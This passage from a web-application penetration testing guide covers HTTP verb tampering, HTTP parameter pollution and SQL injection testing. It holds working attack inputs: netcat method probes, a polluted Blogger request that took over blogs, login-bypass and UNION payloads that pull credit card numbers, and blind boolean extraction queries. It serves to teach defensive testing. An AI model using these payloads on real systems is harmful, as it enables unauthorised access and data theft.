Also consider that Internet Explorer does not handle MIME types in the same way as Mozilla Firefox or other browsers do. For instance, Internet Explorer handles TXT files with HTML content as HTML content. For further information about MIME handling, refer to the whitepapers section at the bottom of this chapter.

Gray Box testing

Gray Box testing is similar to Black box testing. In gray box testing, the pen-tester has partial knowledge of the application. In this case, information regarding user input, input validation controls, and data storage might be known by the pen-tester.

Depending on the information available, it is normally recommended that testers check how user input is processed by the application and then stored into the back-end system. The following steps are recommended:

- Use front-end application and enter input with special/invalid characters
- Analyze application response(s)
- Identify presence of input validation controls
- Access back-end system and check if input is stored and how it is stored
- Analyze source code and understand how stored input is rendered by the application

If source code is available (White Box), all variables used in input forms should be analyzed. In particular, programming languages such as PHP, ASP, and JSP make use of predefined variables/functions to store input from HTTP GET and POST requests.

The following table summarizes some special variables and functions to look at when analyzing source code:

PHP	ASP	JSP
\$_GET - HTTP GET variables	Request.QueryString - HTTP GET	doGet, doPost servlets - HTTP GET and POST
\$_POST - HTTP POST variables	Request.Form - HTTP POST	request.getParameter - HTTP GET/POST variables
\$_REQUEST – http POST, GET and COOKIE variables	Server.CreateObject - used to upload files	
\$_FILES - HTTP File Upload variables		

Note: The table above is only a summary of the most important parameters but, all user input parameters should be investigated.

Tools

- **OWASP CAL9000** CAL9000 includes a sortable implementation of RSnake's XSS Attacks, Character Encoder/Decoder, HTTP Request Generator and Response Evaluator, Testing Checklist, Automated Attack Editor and much more.
- **PHP Charset Encoder(PCE)** - <http://h4k.in/encoding> PCE helps you encode arbitrary texts to and from 65 kinds of character sets that you can use in your customized payloads.
- **Hackvector** - <http://www.businessinfo.co.uk/labs/hackvector/hackvector.php> Hackvector is an online tool which allows many types of encoding and obfuscation of JavaScript (or any string input).
- **BeEF** - <http://www.beefproject.com> BeEF is the browser exploitation framework. A professional tool to demonstrate the real-time impact of browser vulnerabilities.
- **XSS-Proxy** - <http://xss-proxy.sourceforge.net/> XSS-Proxy is an advanced Cross-Site-Scripting (XSS) attack tool.
- **Backframe** - <http://www.gnucitizen.org/projects/backframe/> Backframe is a full-featured attack console for exploiting WEB browsers, WEB users, and WEB applications.
- **WebScarab** WebScarab is a framework for analyzing applications that communicate using the HTTP and HTTPS

protocols.

- **Burp** - <http://portswigger.net/burp/> Burp Proxy is an interactive HTTP/S proxy server for attacking and testing web applications.
- **XSS Assistant** - <http://www.greasespot.net/> Greasemonkey script that allow users to easily test any web application for cross-site-scripting flaws.
- **OWASP Zed Attack Proxy (ZAP)** - [OWASP_Zed_Attack_Proxy_Project](https://owasp.org/zaproxy/) ZAP is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications. It is designed to be used by people with a wide range of security experience and as such is ideal for developers and functional testers who are new to penetration testing. ZAP provides automated scanners as well as a set of tools that allow you to find security vulnerabilities manually.

References

OWASP Resources

- [XSS Filter Evasion Cheat Sheet](#)

Books

- Joel Scambray, Mike Shema, Caleb Sima - "Hacking Exposed Web Applications", Second Edition, McGraw-Hill, 2006 - ISBN 0-07-226229-0
- Dafydd Stuttard, Marcus Pinto - "The Web Application's Handbook - Discovering and Exploiting Security Flaws", 2008, Wiley, ISBN 978-0-470-17077-9
- Jeremiah Grossman, Robert "RSnake" Hansen, Petko "pdp" D. Petkov, Anton Rager, Seth Fogie - "Cross Site Scripting Attacks: XSS Exploits and Defense", 2007, Syngress, ISBN-10: 1-59749-154-3

Whitepapers

- RSnake: "XSS (Cross Site Scripting) Cheat Sheet" - <http://hackers.org/xss.html>
- CERT: "CERT Advisory CA-2000-02 Malicious HTML Tags Embedded in Client Web Requests" - <http://www.cert.org/advisories/CA-2000-02.html>
- Amit Klein: "Cross-site Scripting Explained" - <http://courses.csail.mit.edu/6.857/2009/handouts/css-explained.pdf>
- Gunter Ollmann: "HTML Code Injection and Cross-site Scripting" - <http://www.technicalinfo.net/papers/CSS.html>
- CGISecurity.com: "The Cross Site Scripting FAQ" - <http://www.cgisecurity.com/xss-faq.html>
- Blake Frantz: "Flirting with MIME Types: A Browser's Perspective" - <http://www.leviathansecurity.com/pdf/Flirting%20with%20MIME%20Types.pdf>

Testing for HTTP Verb Tampering (OTG-INPVAL-003)

Summary

The HTTP specification includes request methods other than the standard GET and POST requests. A standards compliant web server may respond to these alternative methods in ways not anticipated by developers. Although the common description is 'verb' tampering, the HTTP 1.1 standard refers to these request types as different HTTP 'methods.'

The full HTTP 1.1 specification [<http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html>] defines the following valid HTTP request methods, or verbs:

```
OPTIONS
GET
HEAD
POST
PUT
DELETE
TRACE
CONNECT
```

If enabled, the Web Distributed Authoring and Version (WebDAV) extensions [<http://www.webdav.org/specs/rfc2518.html>] [<http://tools.ietf.org/html/rfc4918>] permit several more HTTP methods:

```
PROPFIND
PROPPATCH
MKCOL
COPY
MOVE
LOCK
UNLOCK
```

However, most web applications only need to respond to GET and POST requests, providing user data in the URL query string or appended to the request respectively. The standard `` style links trigger a GET request; form data submitted via `<form method='POST'></form>` trigger POST requests. Forms defined without a method also send data via GET by default.

Oddly, the other valid HTTP methods are not supported by the HTML standard [<http://www.w3.org/TR/REC-html40/interact/forms.html#h-17.13.1>]. Any HTTP method other than GET or POST needs to be called outside the HTML document. However, JavaScript and AJAX calls may send methods other than GET and POST.

As long as the web application being tested does not specifically call for any non-standard HTTP methods, testing for HTTP verb tampering is quite simple. If the server accepts a request other than GET or POST, the test fails. The solution is to disable all non GET or POST functionality within the web application server, or in a web application firewall.

If methods such as HEAD or OPTIONS are required for your application, this increases the burden of testing substantially. Each action within the system will need to be verified that these alternate methods do not trigger actions without proper authentication or reveal information about the contents or workings web application. If possible, limit alternate HTTP method usage to a single page that contains no user actions, such the default landing page (example: index.html).

How to Test

As the HTML standard does not support request methods other than GET or POST, we will need to craft custom HTTP

requests to test the other methods. We highly recommend using a tool to do this, although we will demonstrate how to do manually as well.

Manual HTTP verb tampering testing

This example is written using the netcat package from openbsd (standard with most Linux distributions). You may also use telnet (included with Windows) in a similar fashion.

1. Crafting custom HTTP requests Each HTTP 1.1 request follows the following basic formatting and syntax. Elements surrounded by brackets [] are contextual to your application. The empty newline at the end is required.

```
[METHOD] /[index.htm] HTTP/1.1  
host: [www.example.com]
```

In order to craft separate requests, you can manually type each request into netcat or telnet and examine the response. However, to speed up testing, you may also store each request in a separate file. This second approach is what we'll demonstrate in these examples. Use your favorite editor to create a text file for each method. Modify for your application's landing page and domain.

1.1 OPTIONS

```
OPTIONS /index.html HTTP/1.1  
host: www.example.com
```

1.2 GET

```
GET /index.html HTTP/1.1  
host: www.example.com
```

1.3 HEAD

```
HEAD /index.html HTTP/1.1  
host: www.example.com
```

1.4 POST

```
POST /index.html HTTP/1.1  
host: www.example.com
```

1.5 PUT

```
PUT /index.html HTTP/1.1  
host: www.example.com
```

1.6 DELETE

```
DELETE /index.html HTTP/1.1  
host: www.example.com
```


1.7 TRACE

```
TRACE /index.html HTTP/1.1
host: www.example.com
```

1.8 CONNECT

```
CONNECT /index.html HTTP/1.1
host: www.example.com
```

2. Sending HTTP requests For each method and/or method text file, send the request to your web server via netcat or telnet on port 80 (HTTP):

```
nc www.example.com 80 < OPTIONS.http.txt
```

3. Parsing HTTP responses Although each HTTP method can potentially return different results, there is only a single valid result for all methods other than GET and POST. The web server should either ignore the request completely or return an error. Any other response indicates a test failure as the server is responding to methods/verbs that are unnecessary. These methods should be disabled.

An example of a failed test (ie, the server supports OPTIONS despite no need for it):

```
test@localhost: ~
File Edit View Search Terminal Help
test@localhost:~$ cat > options.http.txt
OPTIONS /index.html HTTP/1.1
host: www.example.com

test@localhost:~$ nc www.example.com 80 < options.http.txt
HTTP/1.1 200 OK
Allow: OPTIONS, GET, HEAD, POST
Cache-Control: max-age=604800
Date: Tue, 20 Aug 2013 15:39:19 GMT
Expires: Tue, 27 Aug 2013 15:39:19 GMT
Server: EOS (lax004/2821)
Content-Length: 0

test@localhost:~$
```

Automated HTTP verb tampering testing

If you are able to analyze your application via simple HTTP status codes (200 OK, 501 Error, etc) - then the following bash script will test all available HTTP methods.

```
#!/bin/bash

for webservmethod in GET POST PUT TRACE CONNECT OPTIONS PROPFIND;
do
printf "$webservmethod " ;
printf "$webservmethod / HTTP/1.1\nHost: $1\n\n" | nc -q 1 $1 80 | grep "HTTP/1.1"
done
```

Code copied verbatim from the Penetration Testing Lab blog [<http://pentestlab.wordpress.com/2012/12/20/http-methods-identification/>]

References

Whitepapers

- Arshan Dabirsiaghi: "Bypassing URL Authentication and Authorization with HTTP Verb Tampering" - <http://www.aspectsecurity.com/research-presentations/bypassing-vbaac-with-http-verb-tampering>

Testing for HTTP Parameter pollution (OTG-INPVAL-004)

Summary

Supplying multiple HTTP parameters with the same name may cause an application to interpret values in unanticipated ways. By exploiting these effects, an attacker may be able to bypass input validation, trigger application errors or modify internal variables values. As HTTP Parameter Pollution (in short *HPP*) affects a building block of all web technologies, server and client side attacks exist.

Current HTTP standards do not include guidance on how to interpret multiple input parameters with the same name. For instance, [RFC 3986](#) simply defines the term *Query String* as a series of field-value pairs and [RFC 2396](#) defines classes of reversed and unreserved query string characters. Without a standard in place, web application components handle this edge case in a variety of ways (see the table below for details).

By itself, this is not necessarily an indication of vulnerability. However, if the developer is not aware of the problem, the presence of duplicated parameters may produce an anomalous behavior in the application that can be potentially exploited by an attacker. As often in security, unexpected behaviors are a usual source of weaknesses that could lead to HTTP Parameter Pollution attacks in this case. To better introduce this class of vulnerabilities and the outcome of HPP attacks, it is interesting to analyze some real-life examples that have been discovered in the past.

Input Validation and filters bypass

In 2009, immediately after the publication of the first research on HTTP Parameter Pollution, the technique received attention from the security community as a possible way to bypass web application firewalls.

One of these flaws, affecting *ModSecurity SQL Injection Core Rules*, represents a perfect example of the impedance mismatch between applications and filters. The ModSecurity filter would correctly blacklist the following string: `select 1,2,3 from table`, thus blocking this example URL from being processed by the web server: `/index.aspx?page=select 1,2,3 from table`. However, by exploiting the concatenation of multiple HTTP parameters, an attacker could cause the application server to concatenate the string after the ModSecurity filter already accepted the input. As an example, the URL `/index.aspx?page=select 1&page=2,3 from table` would not trigger the ModSecurity filter, yet the application layer would concatenate the input back into the full malicious string.

Another HPP vulnerability turned out to affect *Apple Cups*, the well-known printing system used by many UNIX systems. Exploiting HPP, an attacker could easily trigger a Cross-Site Scripting vulnerability using the following URL:

`http://127.0.0.1:631/admin/?kerberos=onmouseover=alert(1)&kerberos`. The application validation checkpoint could be bypassed by adding an extra `kerberos` argument having a valid string (e.g. empty string). As the validation checkpoint would only consider the second occurrence, the first `kerberos` parameter was not properly sanitized before being used to generate dynamic HTML content. Successful exploitation would result in Javascript code execution under the context of the hosting web site.

Authentication bypass

An even more critical HPP vulnerability was discovered in *Blogger*, the popular blogging platform. The bug allowed malicious users to take ownership of the victim's blog by using the following HTTP request:

```
POST /add-authors.do HTTP/1.1
security_token=attackerToken&blogID=attackerblogidvalue&blogID=victimblogidvalue&authorsList=goldshlager19test%40gmail.
```

The flaw resided in the authentication mechanism used by the web application, as the security check was performed on the first `blogID` parameter, whereas the actual operation used the second occurrence.

Expected Behavior by Application Server

The following table illustrates how different web technologies behave in presence of multiple occurrences of the same HTTP parameter.

Given the URL and querystring: `http://example.com/?color=red&color=blue`

Web Application Server Backend	Parsing Result	Example
ASP.NET / IIS	All occurrences concatenated with a comma	color=red,blue
ASP / IIS	All occurrences concatenated with a comma	color=red,blue
PHP / Apache	Last occurrence only	color=blue
PHP / Zeus	Last occurrence only	color=blue
JSP, Servlet / Apache Tomcat	First occurrence only	color=red
JSP, Servlet / Oracle Application Server 10g	First occurrence only	color=red
JSP, Servlet / Jetty	First occurrence only	color=red
IBM Lotus Domino	Last occurrence only	color=blue
IBM HTTP Server	First occurrence only	color=red
mod_perl, libapreq2 / Apache	First occurrence only	color=red
Perl CGI / Apache	First occurrence only	color=red
mod_wsgi (Python) / Apache	First occurrence only	color=red
Python / Zope	All occurrences in List data type	color=['red','blue']

(source: [Media:AppsecEU09_CarettoniDiPaola_v0.8.pdf](#))

How to Test

Luckily, because the assignment of HTTP parameters is typically handled via the web application server, and not the application code itself, testing the response to parameter pollution should be standard across all pages and actions. However, as in-depth business logic knowledge is necessary, testing HPP requires manual testing. Automatic tools can only partially assist auditors as they tend to generate too many false positives. In addition, HPP can manifest itself in client-side and server-side components.

Server-side HPP

To test for HPP vulnerabilities, identify any form or action that allows user-supplied input. Query string parameters in HTTP GET requests are easy to tweak in the navigation bar of the browser. If the form action submits data via POST, the tester will need to use an intercepting proxy to tamper with the POST data as it is sent to the server. Having identified a particular input parameter to test, one can edit the GET or POST data by intercepting the request, or change the query string after the response page loads. To test for HPP vulnerabilities simply append the same parameter to the GET or POST data but with a different value assigned.

For example: if testing the `search_string` parameter in the query string, the request URL would include that parameter name and value.

```
http://example.com/?search_string=kittens
```

The particular parameter might be hidden among several other parameters, but the approach is the same; leave the other parameters in place and append the duplicate.

```
http://example.com/?mode=guest&search_string=kittens&num_results=100
```

Append the same parameter with a different value

```
http://example.com/?mode=guest&search_string=kittens&num_results=100&search_string=puppies
```

and submit the new request.

Analyze the response page to determine which value(s) were parsed. In the above example, the search results may show `kittens`, `puppies`, some combination of both (`kittens,puppies` OR `kittens-puppies` OR `['kittens','puppies']`), may give an empty result, or error page.

This behavior, whether using the first, last, or combination of input parameters with the same name, is very likely to be consistent across the entire application. Whether or not this default behavior reveals a potential vulnerability depends on the specific input validation and filtering specific to a particular application. As a general rule: if existing input validation and other security mechanisms are sufficient on single inputs, and if the server assigns only the first or last polluted parameters, then parameter pollution does not reveal a vulnerability. If the duplicate parameters are concatenated, different web application components use different occurrences or testing generates an error, there is an increased likelihood of being able to use parameter pollution to trigger security vulnerabilities.

A more in-depth analysis would require three HTTP requests for each HTTP parameter:

1. Submit an HTTP request containing the standard parameter name and value, and record the HTTP response. E.g. `page?par1=val1`
2. Replace the parameter value with a tampered value, submit and record the HTTP response. E.g. `page?par1=HPP_TEST1`
3. Send a new request combining step (1) and (2). Again, save the HTTP response. E.g. `page?par1=val1&par1=HPP_TEST1`
4. Compare the responses obtained during all previous steps. If the response from (3) is different from (1) and the response from (3) is also different from (2), there is an impedance mismatch that may be eventually abused to trigger HPP vulnerabilities.

Crafting a full exploit from a parameter pollution weakness is beyond the scope of this text. See the references for examples and details.

Client-side HPP

Similarly to server-side HPP, manual testing is the only reliable technique to audit web applications in order to detect parameter pollution vulnerabilities affecting client-side components. While in the server-side variant the attacker leverages a vulnerable web application to access protected data or perform actions that either not permitted or not supposed to be executed, client-side attacks aim at subverting client-side components and technologies.

To test for HPP client-side vulnerabilities, identify any form or action that allows user input and shows a result of that input back to the user. A search page is ideal, but a login box might not work (as it might not show an invalid username back to the user).

Similarly to server-side HPP, pollute each HTTP parameter with `%26HPP_TEST` and look for *url-decoded* occurrences of the user-supplied payload:

- `&HPP_TEST`
- `<tt>& HPP_TEST</tt>`
- ... and others

In particular, pay attention to responses having HPP vectors within `data`, `src`, `href` attributes or forms actions. Again, whether or not this default behavior reveals a potential vulnerability depends on the specific input validation, filtering and

application business logic. In addition, it is important to notice that this vulnerability can also affect query string parameters used in XMLHttpRequest (XHR), runtime attribute creation and other plugin technologies (e.g. Adobe Flash's flashvars variables).

Tools

OWASP ZAP HPP Passive/Active Scanners [<https://code.google.com/p/zap-extensions/wiki/V1Extensions>]

HPP Finder (Chrome Plugin) [<https://chrome.google.com/webstore/detail/hpp-finder>]

References

Whitepapers

HTTP Parameter Pollution - Luca Caretoni, Stefano di Paola

[https://www.owasp.org/images/b/ba/AppsecEU09_CarettoniDiPaola_v0.8.pdf]

Split and Join (Bypassing Web Application Firewalls with HTTP Parameter Pollution) - Lavakumar Kuppan

[http://www.andlabs.org/whitepapers/Split_and_Join.pdf]

Client-side Http Parameter Pollution Example (Yahoo! Classic Mail flaw) - Stefano di Paola

[<http://blog.mindedsecurity.com/2009/05/client-side-http-parameter-pollution.html>]

How to Detect HTTP Parameter Pollution Attacks - Chrysostomos Daniel [<http://www.acunetix.com/blog/whitepaper-http-parameter-pollution/>]

CAPEC-460: HTTP Parameter Pollution (HPP) - Evgeny Lebanidze [<http://capec.mitre.org/data/definitions/460.html>]

Automated Discovery of Parameter Pollution Vulnerabilities in Web Applications - Marco Balduzzi, Carmen Torrano

Gimenez, Davide Balzarotti, Engin Kirda [<http://www.iseclab.org/people/embyte/papers/hpp.pdf>]

Testing for SQL Injection (OTG-INPVAL-005)

Summary

An [SQL injection](#) attack consists of insertion or "injection" of either a partial or complete SQL query via the data input or transmitted from the client (browser) to the web application. A successful SQL injection attack can read sensitive data from the database, modify database data (insert/update/delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file existing on the DBMS file system or write files into the file system, and, in some cases, issue commands to the operating system. SQL injection attacks are a type of injection attack, in which SQL commands are injected into data-plane input in order to affect the execution of predefined SQL commands.

In general the way web applications construct SQL statements involving SQL syntax written by the programmers is mixed with user-supplied data. Example:

```
select title, text from news where id=$id
```

In the example above the variable \$id contains user-supplied data, while the remainder is the SQL static part supplied by the programmer; making the SQL statement dynamic.

Because the way it was constructed, the user can supply crafted input trying to make the original SQL statement execute further actions of the user's choice. The example below illustrates the user-supplied data "10 or 1=1", changing the logic of the SQL statement, modifying the WHERE clause adding a condition "or 1=1".

```
select title, text from news where id=10 or 1=1
```

SQL Injection attacks can be divided into the following three classes:

- **Inband:** data is extracted using the same channel that is used to inject the SQL code. This is the most straightforward kind of attack, in which the retrieved data is presented directly in the application web page.
- **Out-of-band:** data is retrieved using a different channel (e.g., an email with the results of the query is generated and sent to the tester).
- **Inferential or Blind:** there is no actual transfer of data, but the tester is able to reconstruct the information by sending particular requests and observing the resulting behavior of the DB Server.

A successful SQL Injection attack requires the attacker to craft a syntactically correct SQL Query. If the application returns an error message generated by an incorrect query, then it may be easier for an attacker to reconstruct the logic of the original query and, therefore, understand how to perform the injection correctly. However, if the application hides the error details, then the tester must be able to reverse engineer the logic of the original query.

About the techniques to exploit SQL injection flaws there are five common techniques. Also those techniques sometimes can be used in a combined way (e.g. union operator and out-of-band):

- **Union Operator:** can be used when the SQL injection flaw happens in a SELECT statement, making it possible to combine two queries into a single result or result set.
- **Boolean:** use Boolean condition(s) to verify whether certain conditions are true or false.
- **Error based:** this technique forces the database to generate an error, giving the attacker or tester information upon which to refine their injection.
- **Out-of-band:** technique used to retrieve data using a different channel (e.g., make a HTTP connection to send the results to a web server).
- **Time delay:** use database commands (e.g. sleep) to delay answers in conditional queries. It is useful when the attacker

doesn't have some kind of answer (result, output, or error) from the application.

How to Test

Detection Techniques

The first step in this test is to understand when the application interacts with a DB Server in order to access some data. Typical examples of cases when an application needs to talk to a DB include:

- Authentication forms: when authentication is performed using a web form, chances are that the user credentials are checked against a database that contains all usernames and passwords (or, better, password hashes).
- Search engines: the string submitted by the user could be used in a SQL query that extracts all relevant records from a database.
- E-Commerce sites: the products and their characteristics (price, description, availability, etc) are very likely to be stored in a database.

The tester has to make a list of all input fields whose values could be used in crafting a SQL query, including the hidden fields of POST requests and then test them separately, trying to interfere with the query and to generate an error. Consider also HTTP headers and Cookies.

The very first test usually consists of adding a single quote (') or a semicolon (;) to the field or parameter under test. The first is used in SQL as a string terminator and, if not filtered by the application, would lead to an incorrect query. The second is used to end a SQL statement and, if it is not filtered, it is also likely to generate an error. The output of a vulnerable field might resemble the following (on a Microsoft SQL Server, in this case):

```
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the
character string *.
/target/target.asp, line 113
```

Also comment delimiters (-- or /* */, etc) and other SQL keywords like 'AND' and 'OR' can be used to try to modify the query. A very simple but sometimes still effective technique is simply to insert a string where a number is expected, as an error like the following might be generated:

```
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the
varchar value 'test' to a column of data type int.
/target/target.asp, line 113
```

Monitor all the responses from the web server and have a look at the HTML/javascript source code. Sometimes the error is present inside them but for some reason (e.g. javascript error, HTML comments, etc) is not presented to the user. A full error message, like those in the examples, provides a wealth of information to the tester in order to mount a successful injection attack. However, applications often do not provide so much detail: a simple '500 Server Error' or a custom error page might be issued, meaning that we need to use blind injection techniques. In any case, it is very important to test each field separately: only one variable must vary while all the other remain constant, in order to precisely understand which parameters are vulnerable and which are not.

Standard SQL Injection Testing

Example 1 (classical SQL Injection):

Consider the following SQL query:


```
SELECT * FROM Users WHERE Username='$username' AND Password='$password'
```

A similar query is generally used from the web application in order to authenticate a user. If the query returns a value it means that inside the database a user with that set of credentials exists, then the user is allowed to login to the system, otherwise access is denied. The values of the input fields are generally obtained from the user through a web form.

Suppose we insert the following Username and Password values:

```
$username = 1' or '1' = '1
```

```
$password = 1' or '1' = '1
```

The query will be:

```
SELECT * FROM Users WHERE Username='1' OR '1' = '1' AND Password='1' OR '1' = '1'
```

If we suppose that the values of the parameters are sent to the server through the GET method, and if the domain of the vulnerable web site is `www.example.com`, the request that we'll carry out will be:

```
http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1&password=1'%20or%20'1'%20=%20'1
```

After a short analysis we notice that the query returns a value (or a set of values) because the condition is always true (OR 1=1). In this way the system has authenticated the user without knowing the username and password.

In some systems the first row of a user table would be an administrator user. This may be the profile returned in some cases. Another example of query is the following:

```
SELECT * FROM Users WHERE ((Username='$username') AND (Password=MD5('$password')))
```

In this case, there are two problems, one due to the use of the parentheses and one due to the use of MD5 hash function. First of all, we resolve the problem of the parentheses. That simply consists of adding a number of closing parentheses until we obtain a corrected query. To resolve the second problem, we try to evade the second condition. We add to our query a final symbol that means that a comment is beginning. In this way, everything that follows such symbol is considered a comment. Every DBMS has its own syntax for comments, however, a common symbol to the greater majority of the databases is `/*`. In Oracle the symbol is `--`. This said, the values that we'll use as Username and Password are:

```
$username = 1' or '1' = '1'))/*
```

```
$password = foo
```

In this way, we'll get the following query:

```
SELECT * FROM Users WHERE ((Username='1' or '1' = '1'))/*') AND (Password=MD5('$password')))
```

(Due to the inclusion of a comment delimiter in the \$username value the password portion of the query will be ignored.)

The URL request will be:

```
http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1')/*&password=foo
```

This may return a number of values. Sometimes, the authentication code verifies that the number of returned records/results is exactly equal to 1. In the previous examples, this situation would be difficult (in the database there is only one value per user). In order to go around this problem, it is enough to insert a SQL command that imposes a condition that the number of the returned results must be one. (One record returned) In order to reach this goal, we use the operator "LIMIT <num>", where <num> is the number of the results/records that we want to be returned. With respect to the previous example, the value of the fields Username and Password will be modified as follows:

```
$username = 1' or '1' = '1') LIMIT 1/*
```

```
$password = foo
```

In this way, we create a request like the follow:

```
http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1')%20LIMIT%201/*&password=foo
```

Example 2 (simple SELECT statement):

Consider the following SQL query:

```
SELECT * FROM products WHERE id_product=$id_product
```

Consider also the request to a script who executes the query above:

```
http://www.example.com/product.php?id=10
```

When the tester tries a valid value (e.g. 10 in this case), the application will return the description of a product. A good way to test if the application is vulnerable in this scenario is play with logic, using the operators AND and OR.

Consider the request:

```
http://www.example.com/product.php?id=10 AND 1=2
```

```
SELECT * FROM products WHERE id_product=10 AND 1=2
```

In this case, probably the application would return some message telling us there is no content available or a blank page. Then the tester can send a true statement and check if there is a valid result:

```
http://www.example.com/product.php?id=10 AND 1=1
```

Example 3 (Stacked queries):

Depending on the API which the web application is using and the DBMS (e.g. PHP + PostgreSQL, ASP+SQL SERVER) it may be possible to execute multiple queries in one call.

Consider the following SQL query:

```
SELECT * FROM products WHERE id_product=$id_product
```

A way to exploit the above scenario would be:

```
http://www.example.com/product.php?id=10; INSERT INTO users (...)
```

This way is possible to execute many queries in a row and independent of the first query.

Fingerprinting the Database

Even the SQL language is a standard, every DBMS has its peculiarity and differs from each other in many aspects like special commands, functions to retrieve data such as users names and databases, features, comments line etc.

When the testers move to a more advanced SQL injection exploitation they need to know what the back end database is.

1) The first way to find out what back end database is used is by observing the error returned by the application. Follow are some examples:

MySQL:

```
You have an error in your SQL syntax; check the manual
that corresponds to your MySQL server version for the
right syntax to use near '\*' at line 1
```

Oracle:

```
ORA-00933: SQL command not properly ended
```

MS SQL Server:

```
Microsoft SQL Native Client error '80040e14'
Unclosed quotation mark after the character string
```

PostgreSQL:

```
Query failed: ERROR: syntax error at or near
'&quot;'&quot;; at character 56 in /www/site/test.php on line 121.
```

2) If there is no error message or a custom error message, the tester can try to inject into string field using concatenation technique:

MySQL: 'test' + 'ing'

SQL Server: 'test' 'ing'

Oracle: 'test'||'ing'

PostgreSQL: 'test'||'ing'

Exploitation Techniques

Union Exploitation Technique

The UNION operator is used in SQL injections to join a query, purposely forged by the tester, to the original query. The result of the forged query will be joined to the result of the original query, allowing the tester to obtain the values of columns of other tables. Suppose for our examples that the query executed from the server is the following:

```
SELECT Name, Phone, Address FROM Users WHERE Id=$id
```

We will set the following \$id value:

```
$id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable
```

We will have the following query:

```
SELECT Name, Phone, Address FROM Users WHERE Id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable
```

Which will join the result of the original query with all the credit card numbers in the CreditCardTable table. The keyword **ALL** is necessary to get around queries that use the keyword DISTINCT. Moreover, we notice that beyond the credit card numbers, we have selected other two values. These two values are necessary, because the two queries must have an equal number of parameters/columns, in order to avoid a syntax error.

The first detail a tester needs to exploit the SQL injection vulnerability using such technique is to find the right numbers of columns in the SELECT statement.

In order to achieve this the tester can use ORDER BY clause followed by a number indicating the numeration of database's column selected:

```
http://www.example.com/product.php?id=10 ORDER BY 10--
```

If the query executes with success the tester can assume, in this example, there are 10 or more columns in the SELECT statement. If the query fails then there must be fewer than 10 columns returned by the query. If there is an error message available, it would probably be:

```
Unknown column '10' in 'order clause'
```

After the tester finds out the numbers of columns, the next step is to find out the type of columns. Assuming there were 3 columns in the example above, the tester could try each column type, using the NULL value to help them:

```
http://www.example.com/product.php?id=10 UNION SELECT 1,null,null--
```

If the query fails, the tester will probably see a message like:

```
All cells in a column must have the same datatype
```

If the query executes with success, the first column can be an integer. Then the tester can move further and so on:

```
http://www.example.com/product.php?id=10 UNION SELECT 1,1,null--
```

After the successful information gathering, depending on the application, it may only show the tester the first result, because the application treats only the first line of the result set. In this case, it is possible to use a LIMIT clause or the tester can set an invalid value, making only the second query valid (supposing there is no entry in the database which ID is 99999):

```
http://www.example.com/product.php?id=99999 UNION SELECT 1,1,null--
```

Boolean Exploitation Technique

The Boolean exploitation technique is very useful when the tester finds a [Blind SQL Injection](#) situation, in which nothing is known on the outcome of an operation. For example, this behavior happens in cases where the programmer has created a custom error page that does not reveal anything on the structure of the query or on the database. (The page does not return a SQL error, it may just return a HTTP 500, 404, or redirect).

By using inference methods, it is possible to avoid this obstacle and thus to succeed in recovering the values of some desired fields. This method consists of carrying out a series of boolean queries against the server, observing the answers and finally deducing the meaning of such answers. We consider, as always, the `www.example.com` domain and we suppose that it contains a parameter named `id` vulnerable to SQL injection. This means that carrying out the following request:

```
http://www.example.com/index.php?id=1'
```

We will get one page with a custom message error which is due to a syntactic error in the query. We suppose that the query executed on the server is:

```
SELECT field1, field2, field3 FROM Users WHERE Id='$Id'
```

Which is exploitable through the methods seen previously. What we want to obtain is the values of the username field. The tests that we will execute will allow us to obtain the value of the username field, extracting such value character by character. This is possible through the use of some standard functions, present in practically every database. For our examples, we will use the following pseudo-functions:

SUBSTRING (text, start, length): returns a substring starting from the position "start" of text and of length "length". If "start" is greater than the length of text, the function returns a null value.

ASCII (char): it gives back ASCII value of the input character. A null value is returned if char is 0.

LENGTH (text): it gives back the number of characters in the input text.

Through such functions, we will execute our tests on the first character and, when we have discovered the value, we will pass to the second and so on, until we will have discovered the entire value. The tests will take advantage of the function

SUBSTRING, in order to select only one character at a time (selecting a single character means to impose the length parameter to 1), and the function ASCII, in order to obtain the ASCII value, so that we can do numerical comparison. The results of the comparison will be done with all the values of the ASCII table, until the right value is found. As an example, we will use the following value for *Id*:

```
$Id=1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1'
```

That creates the following query (from now on, we will call it "inferential query"):

```
SELECT field1, field2, field3 FROM Users WHERE Id='1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1'
```

The previous example returns a result if and only if the first character of the field username is equal to the ASCII value 97. If we get a false value, then we increase the index of the ASCII table from 97 to 98 and we repeat the request. If instead we obtain a true value, we set to zero the index of the ASCII table and we analyze the next character, modifying the parameters of the SUBSTRING function. The problem is to understand in which way we can distinguish tests returning a true value from those that return false. To do this, we create a query that always returns false. This is possible by using the following value for *Id*:

```
$Id=1' AND '1' = '2'
```

Which will create the following query:

```
SELECT field1, field2, field3 FROM Users WHERE Id='1' AND '1' = '2'
```

The obtained response from the server (that is HTML code) will be the false value for our tests. This is enough to verify whether the value obtained from the execution of the inferential query is equal to the value obtained with the test executed before. Sometimes, this method does not work. If the server returns two different pages as a result of two identical consecutive web requests, we will not be able to discriminate the true value from the false value. In these particular cases, it is necessary to use particular filters that allow us to eliminate the code that changes between the two requests and to obtain a template. Later on, for every inferential request executed, we will extract the relative template from the response using the same function, and we will perform a control between the two templates in order to decide the result of the test.

In the previous discussion, we haven't dealt with the problem of determining the termination condition for our tests, i.e., when we should end the inference procedure. A technique to do this uses one characteristic of the SUBSTRING function and the LENGTH function. When the test compares the current character with the ASCII code 0 (i.e., the value null) and the test returns the value true, then either we are done with the inference procedure (we have scanned the whole string), or the value we have analyzed contains the null character.

We will insert the following value for the field *Id*:

```
$Id=1' AND LENGTH(username)=N AND '1' = '1'
```

Where N is the number of characters that we have analyzed up to now (not counting the null value). The query will be:

```
